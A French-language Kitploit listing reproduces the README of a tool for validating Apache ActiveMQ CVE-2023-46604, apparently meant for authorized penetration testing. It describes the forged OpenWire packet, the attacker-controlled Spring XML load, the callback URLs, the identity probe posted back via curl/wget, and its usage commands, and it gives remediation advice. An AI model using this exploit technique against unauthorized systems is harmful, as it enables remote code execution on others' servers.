Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ActiveMQ-CVE-2023-46604 — Validateur non destructif pour Apache ActiveMQ CVE-2023-46604. Envoie des paquets OpenWire spécialement conçus, utilise un serveur de rappel HTTP pour confirmer l'exécution de code à distance (RCE) ou le chargement XML, et génère des preuves CSV/JSON pour les tests d'intrusion autorisés. | Kitploit
Outils/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Voir le dépôt
1il y a 12h 53mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Validateur non destructif pour Apache ActiveMQ CVE-2023-46604. Envoie des paquets OpenWire spécialement conçus, utilise un serveur de rappel HTTP pour confirmer l'exécution de code à distance (RCE) ou le chargement XML, et génère des preuves CSV/JSON pour les tests d'intrusion autorisés.

Partager

Validateur sûr CVE-2023-46604 ActiveMQ

Un validateur non destructif, en un seul fichier, pour Apache ActiveMQ CVE-2023-46604. Il démarre son propre serveur de rappel HTTP, génère en mémoire un XML Spring spécifique à la cible, envoie le paquet OpenWire forgé, corrèle les rappels avec des jetons uniques et écrit des preuves CSV/JSON.

Le projet est conçu pour les tests d'intrusion autorisés et la validation de flottes. Il n'implémente délibérément pas de shells inversés, d'exécution de commandes sans restriction, d'expansion CIDR, de persistance ou de préparation de charges utiles.

Ce que le validateur prouve

Deux modes de preuve fixes sont disponibles :

  • rce exécute une sonde d'identité fixe en lecture seule et renvoie sa sortie au serveur HTTP intégré. Un rappel confirme l'exécution de commandes du système d'exploitation dans le contexte du service ActiveMQ.
  • xml sert un contexte Spring vide. Une récupération confirme que le message OpenWire forgé a amené la cible à instancier ClassPathXmlApplicationContext et à récupérer un XML contrôlé par l'attaquant, sans démarrer de processus.

Aucun fichier XML ne doit être créé ou hébergé séparément.

Fonctionnalités

  • Un fichier Python ; bibliothèque standard uniquement
  • Serveur HTTP intégré avec threads
  • XML dynamique et jetons de rappel propres à chaque cible
  • Entrée explicite pour cible unique et multi-cibles
  • Concurrence bornée et nouvelles tentatives d'envoi
  • Prise en charge d'OpenWire simple et OpenWire encapsulé TLS
  • Sondes d'identité fixes Linux et Windows
  • Preuves CSV par défaut, JSON en option
  • États de résultat précis qui évitent les fausses affirmations « non vulnérable »
  • Code de sortie --fail-on-vuln adapté à l'intégration continue

Prérequis

  • Python 3.9 ou plus récent
  • Accès réseau depuis l'hôte de test vers l'écouteur OpenWire cible
  • Accès réseau depuis la cible vers l'adresse de rappel HTTP intégrée
  • Autorisation explicite pour chaque cible

Le port OpenWire par défaut est 61616, mais les ports non standard sont pris en charge.

Démarrage rapide

Utilisez des adresses à titre de documentation uniquement dans les exemples ; remplacez-les par vos actifs autorisés.

Cible Linux unique

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

Le script démarre automatiquement le serveur de rappel sur TCP/8000, sert le XML généré, envoie le paquet OpenWire, attend les preuves, affiche un tableau de résultats et écrit :

root@kitploit:~
activemq-cve-2023-46604-results.csv

Plusieurs cibles explicites

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Fichier de cibles

Créez targets.txt :

root@kitploit:~
# Un hôte explicitement autorisé par ligne
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Exécutez :

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Les fichiers de cibles peuvent contenir des lignes vides et des commentaires commençant par #. L'expansion CIDR n'est volontairement pas prise en charge ; énumérez explicitement l'inventaire autorisé.

Détection automatique de l'adresse de rappel

Pour les réseaux routés simples, omettez --callback-host :

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

L'outil sélectionne l'adresse source locale utilisée pour router vers la première cible. Spécifiez --callback-host lors des tests via NAT, VPN, conteneurs, hôtes de rebond ou systèmes multi-hôtes.

ActiveMQ hébergé sur Windows

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

La sonde Windows utilise une commande PowerShell fixe et non interactive pour renvoyer l'identité du service, le nom de l'ordinateur et la version du système d'exploitation. Elle ne fournit pas de shell interactif.

Validation par chargement XML uniquement

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Ce mode n'instancie pas ProcessBuilder.

OpenWire encapsulé TLS

Utilisez une cible ssl:// :

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Pour un écouteur interne avec un certificat non approuvé :

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify n'affecte que la connexion TLS OpenWire. Le serveur de rappel est en HTTP.

États de résultat

StatutSignification
CONFIRMED_VULNERABLE_RCELa cible a récupéré son XML et la commande d'identité fixe a renvoyé des preuves.
CONFIRMED_VULNERABLE_XML_LOADEn mode xml, la cible a récupéré le document XML unique.
VULNERABLE_XML_LOAD_ONLYEn mode rce, la récupération XML a eu lieu mais le rappel de commande n'a pas eu lieu. Le chemin d'instanciation de classe vulnérable est confirmé ; les outils de rappel, la sortie réseau ou l'exécution de processus peuvent être restreints.
NOT_CONFIRMEDLe paquet a été envoyé, mais aucune preuve HTTP corrélée n'est arrivée avant l'échéance. Ce n'est pas une preuve que l'hôte est corrigé.
UNREACHABLELa connexion TCP/TLS ou l'envoi du paquet a échoué.

Un courtier corrigé, un port incorrect, un filtrage de sortie, des problèmes de routage, une incompatibilité TLS et des contrôles de point de terminaison peuvent tous affecter la validation par rappel. Conservez les horodatages CSV/JSON et la sortie de rappel comme preuves de rapport.

Preuves d'identité fixes

La sonde d'identité Linux renvoie une sortie similaire à :

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Elle essaie curl, wget et BusyBox wget pour le POST HTTP. Si le XML est récupéré mais qu'aucun de ces clients n'est disponible, le résultat est VULNERABLE_XML_LOAD_ONLY plutôt qu'un faux négatif.

Codes de sortie

  • 0 : validation terminée, ou des vulnérabilités ont été trouvées sans --fail-on-vuln
  • 2 : au moins un résultat vulnérable a été trouvé et --fail-on-vuln a été fourni
  • les erreurs argparse utilisent le code d'erreur de ligne de commande non nul normal

Exemple d'utilisation en CI :

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

Comment cela fonctionne

CVE-2023-46604 affecte le démarshallement OpenWire Java. Le validateur envoie une ExceptionResponse OpenWire à marshalling lâche dont la classe d'exception est :

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

Le message d'exception est l'URL unique du XML Spring généré. Le code ActiveMQ vulnérable instancie la classe sélectionnée par l'attaquant avec cette URL. En mode rce, le contexte Spring démarre une sonde ProcessBuilder fixe ; en mode xml, le contexte est vide.

Chaque cible reçoit un jeton différent, par exemple :

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Cela permet d'attribuer les rappels simultanés à la bonne cible.

Référence des commandes

root@kitploit:~
--authorized                 Accusé de réception d'autorisation requis
-t, --target VALUE           Cible explicite ; répétable
-T, --targets-file FILE      Une cible explicite par ligne ; répétable
--default-port PORT          Défaut 61616
--tls                        Utiliser TLS pour toutes les cibles
--tls-no-verify              Désactiver la validation du certificat TLS OpenWire
--callback-host HOST         Adresse utilisée par les cibles pour les rappels HTTP
--bind-host HOST             Adresse de liaison HTTP locale ; défaut 0.0.0.0
--http-port PORT             Port HTTP local ; défaut 8000 ; 0 sélectionne un port libre
--proof rce|xml         Mode de preuve fixe ; défaut rce
--platform linux|windows     Système d'exploitation cible pour le mode RCE ; défaut linux
--workers N                  Travailleurs parallèles ; maximum 32
--connect-timeout SECONDS    Délai d'expiration TCP/TLS
--wait SECONDS               Fenêtre de collecte des rappels
--retries N                  Une à trois tentatives d'envoi de paquets
--retry-delay SECONDS        Délai entre les tentatives
-o, --output FILE            Destination des preuves CSV
--json-output FILE           Destination JSON facultative
--verbose                    Afficher les journaux de requêtes HTTP
--fail-on-vuln               Sortie 2 lorsqu'un résultat vulnérable est trouvé

Tests

root@kitploit:~
python3 -m unittest discover -s tests -v

Les tests vérifient l'analyse des cibles, le rejet CIDR, la bonne formation du XML et la structure des trames OpenWire sans contacter aucune cible.

Remédiation

Mettez à niveau ActiveMQ vers une version corrigée et actuellement prise en charge. L'avis Apache a identifié les versions corrigées pour les branches alors actuelles comme ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 et 6.0.0, et Artemis 2.31.2. Restreignez également les écouteurs OpenWire aux clients de confiance et surveillez toute récupération XML sortante inattendue.

Sécurité et portée

Ce dépôt est destiné à la validation défensive et aux évaluations de sécurité autorisées. Il omet volontairement :

  • les charges utiles de shell inversé
  • l'exécution arbitraire de --command
  • la préparation d'exécutables ou de scripts
  • la persistance
  • les attaques d'authentification
  • l'expansion CIDR/plage

La sonde d'identité fixe suffit à démontrer l'exécution de commandes à distance et l'impact sur le compte de service sans établir d'accès interactif.

Références

  • Apache ActiveMQ : https://activemq.apache.org/news/cve-2023-46604
  • Avis de sécurité Apache ActiveMQ : https://activemq.apache.org/components/classic/security
  • Source Apache ActiveMQ : https://github.com/apache/activemq
  • Laboratoire Vulhub : https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

Licence

MIT. Voir LICENSE.

Télécharger l’outil